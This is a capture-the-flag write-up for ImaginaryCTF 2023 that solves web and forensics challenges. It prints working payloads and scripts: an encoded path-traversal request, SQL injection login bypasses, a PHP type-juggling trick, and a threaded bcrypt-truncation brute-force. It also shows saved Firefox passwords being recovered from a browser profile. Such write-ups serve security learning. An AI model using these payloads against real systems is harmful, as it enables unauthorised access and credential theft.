ImaginaryCTF2023 - webx7, forx2

8 minute read

Web

roks

my payload:

GET /file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng

Flag: ictf{tr4nsv3rs1ng_0v3r_r0k5_6a3367}

idoriot

Source code:

<?php

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    header("Location: login.php");
    exit();
}

// Check if session is expired
if (time() > $_SESSION['expires']) {
    header("Location: logout.php");
    exit();
}

// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);

// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE user_id = 0 LIMIT 1')->fetch();

// Check if the user is admin
if ($admin['user_id'] === $_SESSION['user_id']) {
    // Read the flag from flag.txt
    $flag = file_get_contents('flag.txt');
    echo "<h1>Flag</h1>";
    echo "<p>$flag</p>";
} else {
    // Display the source code for this file
    echo "<h1>Source Code</h1>";
    highlight_file(__FILE__);
}

?>

Based on the source code can be seen, to get the flag we need a user_role of 0. Can edit it through burp.

Solution:

import requests

url = "http://idoriot.chal.imaginaryctf.org/"

def session_requests(sess, method, endpoint, data=None):
    try:
        if method == 'POST':
            response = sess.post(url + endpoint, data=data)
        else:
            response = sess.get(url + endpoint, data=data)
        response.raise_for_status()
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"Have error: {e}")
        return None

with requests.Session() as session:
    res = session_requests(session, 'POST', 'register.php', { "username":"taiwhis", "password":"abc", "user_id":0 }) # replae username if time < 30 min
    print(res)

Result:

┌──(taiwhis㉿kali)-[~]
└─$ python 1.py
Welcome, User ID: 0<h1>Flag</h1><p>ictf{1ns3cure_direct_object_reference_from_hidden_post_param_i_guess}</p>
                                                                                                                

idoriot-revenge

The website allows logging in with any account and provides the source code.

Note: The user database will be wiped every 30 minutes.

Source code:

<?php

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    header("Location: login.php");
    exit();
}

// Check if session is expired
if (time() > $_SESSION['expires']) {
    header("Location: logout.php");
    exit();
}

// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);

// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch();

// Check user_id
if (isset($_GET['user_id'])) {
    $user_id = (int) $_GET['user_id'];
    // Check if the user is admin
    if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
        // Read the flag from flag.txt
        $flag = file_get_contents('/flag.txt');
        echo "<h1>Flag</h1>";
        echo "<p>$flag</p>";
    }
}

// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
?>

I will pay attention to this code snippet. It contains a PHP Type Juggling vulnerability in line 5 ==.

// Check user_id
if (isset($_GET['user_id'])) {
    $user_id = (int) $_GET['user_id'];
    // Check if the user is admin
    if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
        // Read the flag from flag.txt
        $flag = file_get_contents('/flag.txt');
        echo "<h1>Flag</h1>";
        echo "<p>$flag</p>";
    }
}

Bypass preg_match("/".$admin['username']."/", $_SESSION['username'] by creating an account with any username that includes the word admin in it, you can exploit the PHP Type Juggling vulnerability.

Bypass $user_id == "php" using use_id=0

Solution:

import requests

url = "http://idoriot-revenge.chal.imaginaryctf.org/"

def session_requests(sess, method, endpoint, data=None):
    try:
        if method == 'POST':
            response = sess.post(url + endpoint, data=data)
        else:
            response = sess.get(url + endpoint, data=data)
        response.raise_for_status()
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"Have error: {e}")
        return None

with requests.Session() as session:
    session_requests(session, 'POST', 'register.php', {"username":"admin_test","password":"test"})
    res = session_requests(session, 'GET', 'index.php?user_id=0')
    print(res)

Result:

┌──(taiwhis㉿kali)-[~]
└─$ python 6.py
Welcome, User ID: 595833842<h1>Flag</h1><p>ictf{this_ch4lleng3_creator_1s_really_an_idoriot}</p><h1>Source Code</h1><code><span style="color: #000000">
...

blank

Source code: https://imaginaryctf.org/r/FVauo#blank_dist.zip

app.post('/login', (req, res) => {
  const username = req.body.username;
  const password = req.body.password;

  db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => {
    if (err) {
      console.error(err);
      res.status(500).send('Error retrieving user');
    } else {
      if (row) {
        req.session.loggedIn = true;
        req.session.username = username;
        res.send('Login successful!');
      } else {
        res.status(401).send('Invalid username or password');
      }
    }
  });
});

At line number 5, have a SQL injection vulnerability.

app.get('/flag', (req, res) => {
  if (req.session.username == "admin") {
    res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt', 'utf8'));
  }
  else if (req.session.loggedIn) {
    res.status(401).send('You must be admin to get the flag.');
  } else {
    res.status(401).send('Unauthorized. Please login first.');
  }
});

Only admin can read the flag.

Test bypass login

┌──(taiwhis㉿kali)-[~]
└─$ curl -X POST "http://blank.chal.imaginaryctf.org/login" \
-H "Host: blank.chal.imaginaryctf.org" \
-H "Origin: http://blank.chal.imaginaryctf.org" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Referer: http://blank.chal.imaginaryctf.org/login" \
-H "Cookie: connect.sid=s%3AmkTFBAbVRFCgotHP5WBHTn4qstbev9Wj.BIGMwk5AsQcgKQANscObLBlAuWqje9HBB%2B8WFohFCNY" \
--data "username=admin&password=%22%20or%201%3D1%20union%20select%201%2C2%2C3--" \
--compressed

Login successful!   

Solution:

┌──(taiwhis㉿kali)-[~]
└─$ cat 1.py 
import requests

url = "http://blank.chal.imaginaryctf.org/"

def session_requests(sess, method, endpoint, data=None):
    try:
        if method == 'POST':
            response = sess.post(url + endpoint, data=data)
        else:
            response = sess.get(url + endpoint, data=data)
        response.raise_for_status()
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"Have error: {e}")
        return None
        
with requests.Session() as session:
    session_requests(session, "POST", "login", { "username":"admin","password":'" or 1=1 union select 1,2,3 --' })
    res = session_requests(session, "GET", "flag")
    print(res)

Result:

┌──(taiwhis㉿kali)-[~]
└─$ python 1.py
Welcome admin. The flag is ictf{sqli_too_powerful_9b36140a}

Perfect Picture

Source code: https://imaginaryctf.org/r/Gdmod#perfect_picture.zip

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return 'no file selected'

    file = request.files['file']

    if file.filename == '':
        return 'no file selected'

    if file and allowed_file(file.filename):
        filename = file.filename

        img_name = f'{str(random.randint(10000, 99999))}.png'
        file.save(app.config['UPLOAD_FOLDER'] + img_name)
        res = check(img_name)

        if res == 0:
            os.remove(app.config['UPLOAD_FOLDER'] + img_name)
            return("hmmph. that image didn't seem to be good enough.")
        else:
            os.remove(app.config['UPLOAD_FOLDER'] + img_name)
            return("now that's the perfect picture:<br>" + res)

    return 'invalid file'

if __name__ == '__main__':
    app.run()

The code contains some basic functionality, limited to uploading images.

Onlly allowed PNG app.config['ALLOWED_EXTENSIONS'] = {'png'}

def check(uploaded_image):
    with open('flag.txt', 'r') as f:
        flag = f.read()
    with Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image:
        w, h = image.size
        if w != 690 or h != 420:
            return 0
        if image.getpixel((412, 309)) != (52, 146, 235, 123):
            return 0
        if image.getpixel((12, 209)) != (42, 16, 125, 231):
            return 0
        if image.getpixel((264, 143)) != (122, 136, 25, 213):
            return 0

    with exiftool.ExifToolHelper() as et:
        metadata = et.get_metadata(app.config['UPLOAD_FOLDER'] + uploaded_image)[0]
        try:
            if metadata["PNG:Description"] != "jctf{not_the_flag}":
                return 0
            if metadata["PNG:Title"] != "kool_pic":
                return 0
            if metadata["PNG:Author"] != "anon":
                return 0
        except:
            return 0
    return flag

After uploading, the image will be checked for some conditions about bytes and metadata. If the condition is met, the result will return a flag.

Solution:

import requests
from PIL import Image
import os

def create_image(width, height, filename):
    image = Image.new("RGBA", (width, height), (255, 255, 255, 0))
    image.putpixel((412, 309), (52, 146, 235, 123))
    image.putpixel((12, 209), (42, 16, 125, 231))
    image.putpixel((264, 143), (122, 136, 25, 213))
    image.save(filename)

url = "http://perfect-picture.chal.imaginaryctf.org/upload"
filename = "test.png"

create_image(690, 420, filename)

os.system('exiftool -PNG:Description="jctf{not_the_flag}" -PNG:Title="kool_pic" -PNG:Author="anon" test.png')

with open(filename, "rb") as file:
    files = {"file": (filename, file, "image/png")}
    res = requests.post(url, files=files)

print(res.text)
os.system("rm test.png")

Result:

┌──(taiwhis㉿kali)-[~]
└─$ python 2.py
    1 image files updated
now that's the perfect picture:<br>ictf{7ruly_th3_n3x7_p1c4ss0_753433}

Login

Source code

<?php

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';

if (isset($_GET[$magic])) {
    $password .= $flag;
}

if ($username && $password) {
    $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
    if (!$res) {
        $msg = "Invalid username or password";
    } else if (password_verify($password, $res['pwhash'])) {
        $u = htmlentities($res['username']);
        $msg = "Welcome $u! But there is no flag here :P";
        if ($res['username'] === 'admin') {
            $msg .= "<!-- magic: $magic -->";
        }
    } else {
        $msg = "Invalid username or password";
    }
}
?>

In the above code snippet, we can easily identify a SQL injection vulnerability in the line: $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);.

Mypayload:

username=' union select 'admin' as username,'$2y$10$wwwEgLYfgMl9.o6kdmABa.PJQxv9flMyjfDhzYPfjoD5F1lHVvTtO' as pwhash--&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Please refer to this article for information on SQL injection with password_verify: SQL Injection with password_verify.

Based on the information provided, it appears that the web application has a unique behavior related to the login process. Specifically, whenever a user logs in, if the application makes a request to /?$magic, the flag will be appended to the end of the password. The password will then be authenticated using the password_verify() function.

Solution:

import requests
import string
import bcrypt
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0"

valid_chars = string.ascii_letters + string.digits + string.punctuation

flag = "ictf{why_are_bcrypt_truncating_my_passwords?!" #preseeding flags for faster brute-force.

def check_password(char):
    global flag, password

    password = 'a' * ( 71 - len(flag))
    pass_test = password + flag + char
    hash = bcrypt.hashpw(pass_test.encode('utf-8'), bcrypt.gensalt(rounds=10))

    data = {
        "username": "' union select 'admin' as username,'" + hash.decode('utf-8') + "' as pwhash--",
        "password": password
    }

    res = requests.post(url, data=data)
    if 'admin' in res.text:
        print("Password: ", password + flag)
        print("Found: ", char)
        flag += char
        password = password[:-1]

with ThreadPoolExecutor(max_workers=100) as executor: #change threads to be faster.
    while flag[-1] != '}':
        futures = [executor.submit(check_password, char) for char in valid_chars]
        for future in futures:
            future.result()

print("Flag is: ", flag)

Result:

┌──(taiwhis㉿kali)-[~]
└─$ python 5.py
Password:  aaaaaaaaaaaaaaaaaaaaaaaaaaictf{why_are_bcrypt_truncating_my_passwords?!
Found:  }
Flag is:  ictf{why_are_bcrypt_truncating_my_passwords?!}

amogus (not solved)

Forensic

blurry

Link image: https://imaginaryctf.org/r/kaegq#chall.png

Setup:

!sudo apt-get install libzbar0
!pip install pyzbar
!pip install pyzbar[scripts]

Solution:

import cv2
from pyzbar.pyzbar import decode

imge_path = "/content/chall.png"

img = cv2.imread(imge_path)
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
adaptive_gaussian = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 17, 1)

data = decode(adaptive_gaussian)[0][0]

print("Flag is: ", data.decode('utf-8'))

Result:

┌──(taiwhis㉿kali)-[~]
└─$ python 1.py
Flag is:  ictf{blurR1ng_is_n0_m4tch_4_u_2ab140c2}

Web

Link source: https://imaginaryctf.org/r/y1V79#web.zip

I was given a folder .mozilla

┌──(taiwhis㉿kali)-[~/Downloads/web]
└─$ ls -al
total 12
drwxr-xr-x 3 taiwhis taiwhis 4096 Jul 24 05:40 .
drwxr-xr-x 4 taiwhis taiwhis 4096 Jul 24 05:40 ..
drwx------ 4 taiwhis taiwhis 4096 Jul  9 18:45 .mozilla

I will use dumpzilla tool tool to find interesting things.

┌──(taiwhis㉿kali)-[~/Downloads/web]
└─$ python dumpzilla/dumpzilla.py .mozilla/firefox/8ubdbl3q.default

a suspicious website

Last Access: 2023-07-09 18:53:53
Title: PALMS Backchannel Chat | The new alternative to Todaysmeet
URL: https://yoteachapp.com/supersecrethackerhideout
Frequency: 2

and this is login info

=============================================================================================================
== Passwords            
============================================================================================================
=> Source file: /home/taiwhis/Downloads/web/.mozilla/firefox/8ubdbl3q.default/logins.json
=> SHA256 hash: 15dedec5a0290af97085e31a7db0a2ab71fa98982b8e2cc266c3271c01eb714f

Web: https://yoteachapp.com
User field: 
Password field: 
User login (crypted): MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECJs6PTFwzrMiBAiRmXcD4tn3bw==
Password login (crypted): MGIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECBZPCW+NjkpUBDieso9w5lPvD85RNcErLbGTXdamyji7ZKcL9FHxjnvt1WqwcVCsOETgCWCgwCg1jJmAW/MYugOoqQ==
Created: 2023-07-09 18:53:56
Last used: 2023-07-09 18:53:56
Change: 2023-07-09 18:53:56
Frequency: 1

i need decrypt username and password. so I use the Firefox-Decrypt tool

┌──(taiwhis㉿kali)-[~/Downloads/web]
└─$ python firefox_decrypt/firefox_decrypt.py .mozilla/firefox/8ubdbl3q.default  
2023-07-24 05:51:55,832 - WARNING - profile.ini not found in .mozilla/firefox/8ubdbl3q.default
2023-07-24 05:51:55,833 - WARNING - Continuing and assuming '.mozilla/firefox/8ubdbl3q.default' is a profile location

Website:   https://yoteachapp.com
Username: ''
Password: 'UeMBYIbgPqNiSWzOVguTbccMOnLirDoEGTjgiqNrbOvwzynbyN'

I get login information for this site.

Login and get flag:

[*] flag found: ictf{behold_th3_forensics_g4untlet_827b3f13}
Reply Message Text to Speech 中文 International  Room Ownerroot
14 days ago

Comments